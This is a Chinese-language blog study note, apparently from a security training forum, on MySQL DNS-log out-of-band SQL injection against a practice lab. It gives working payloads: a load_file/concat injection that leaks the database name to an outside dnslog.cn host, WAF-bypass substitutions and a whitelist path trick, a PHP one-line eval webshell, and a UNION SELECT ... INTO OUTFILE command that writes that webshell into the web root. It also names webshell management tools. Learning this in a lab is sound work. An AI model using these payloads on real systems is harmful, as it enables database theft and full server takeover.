数据库注入 之 MySQL注入—DNS注入

humbie   ·   发表于 2022-09-20 18:32:34   ·   学习杂记

DNS注入使用场景:
把盲注变成显错注入。
应该叫DNS-LOG注入,利用DNS解析日志进行注入。
此注入属于:obb(数据外带)
在进行注入时,让数据库发起网络请求。访问:库名.zkaq.cn。
使用场景:1、盲注
2、目标可以访问外网(尝试即可知道)

MySQL函数:loda_file 读取文件函数
注意些路径时反斜杠会被读取成转义,建议使用除号。
对于mysql高版本,默认不可以读取文件,需要更改配置:phpstudy其它选项菜单=>打开配置文件=>mysql-ini=>添加 secure_file_priv=
(高版本不开这个就不存在DNS注入)
load_file(‘C:/1.txt’)

但是它不支持http。
利用网上邻居的文件共享(UNC路径),支持域名和IP。\desktop-9d2geep\123 访问该电脑的123文件夹。
访问域名:\a.zkaq.cn\123
DNS-log:需要搭建DNS-log,比较复杂,直接使用现成平台:dnslog.cn
比如平台给出z0961c.dnslog.cn。(123是随便写的文件夹,无所谓是什么,只要前面域名被平台记录即可。)
load_file(‘//a.z0961c.dnslog.cn/123’)。
这样把a替换即可,利用concat函数。
select load_file(‘//database().z0961c.dnslog.cn/123’)(有子查询就concat)(select不是必要的)

靶场有WAF,网络防火墙(安全狗):id=1不拦截 and 1=1拦截了。
过滤了什么可以测试,到底是and还是1=1,测试发现其实是and 1=1组合被拦截。
找东西替换:and => or xor like &&替换
1=1 => -1=-1 2>1 4+4=8 ‘a’=’a’

本靶场利用白名单绕过。http://xxx/index3.php/1.txt?id=1
因为没有1.txt所以把参数传给index3.php。这样就绕过了。(安全狗以为给1.txt传参没威胁)
绕WAF除了替换,就是利用web容器和WAF想法不一样。

靶场存在延时盲注。利用DNS注入变成显错注入。

/1.txt?id=1 and load_file(concat(‘//‘,database(),’.z0961c.dnslog.cn/123’))
显示出库名,之后就和之前一样慢慢跑表、字段、数据。
UNC路径本质是SMB服务,Linux一般没有搭过这个服务,如果搭了就可以存在这个注入。

写shell:
load_file开启就能写shell
webshell 网络木马
<?php eval($_REQUEST[8]?> PHP一句话木马 (8是变量)
=> eval将字符串当做后端代码执行。

webshell管理工具:内置了一些实现特定功能的后端代码,就是不用敲命令了帮你简单使用。
菜刀、蚁剑、冰蝎子、开山斧、c刀、哥斯拉。(前三个常用)
比如使用菜刀:
地址写中毒的网站的一句话木马的所在的地址,后面的小格子写参数就是刚才那个REQUEST里的变量8.
(地址例如:1.php是一句话木马,那么就是http://127.0.0.1/1.php)
想连接数据库就找一下后端配置文件(连接PHP的),这里有连接的账号密码。

这个靶场利用导出的方法可以写木马。
select 1 into outfile ‘xxx’ 把1写进xxx,这样写进去就行。(select不是必要的)

利用联合查询:/1.txt?id=1 union select “<?php eval($_REQUEST[8])?>”,2 into outfile’C:/phpStudy/WWW/416.txt’。(字段需要试是几个)(路径之前被透露过),成功后把txt改成php。

每次连接时要右键清除缓存,然后重新连,否则容易出现同IP干扰。

打赏我,让我更有动力~

0 Reply   |  Until 13天前 | 48 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.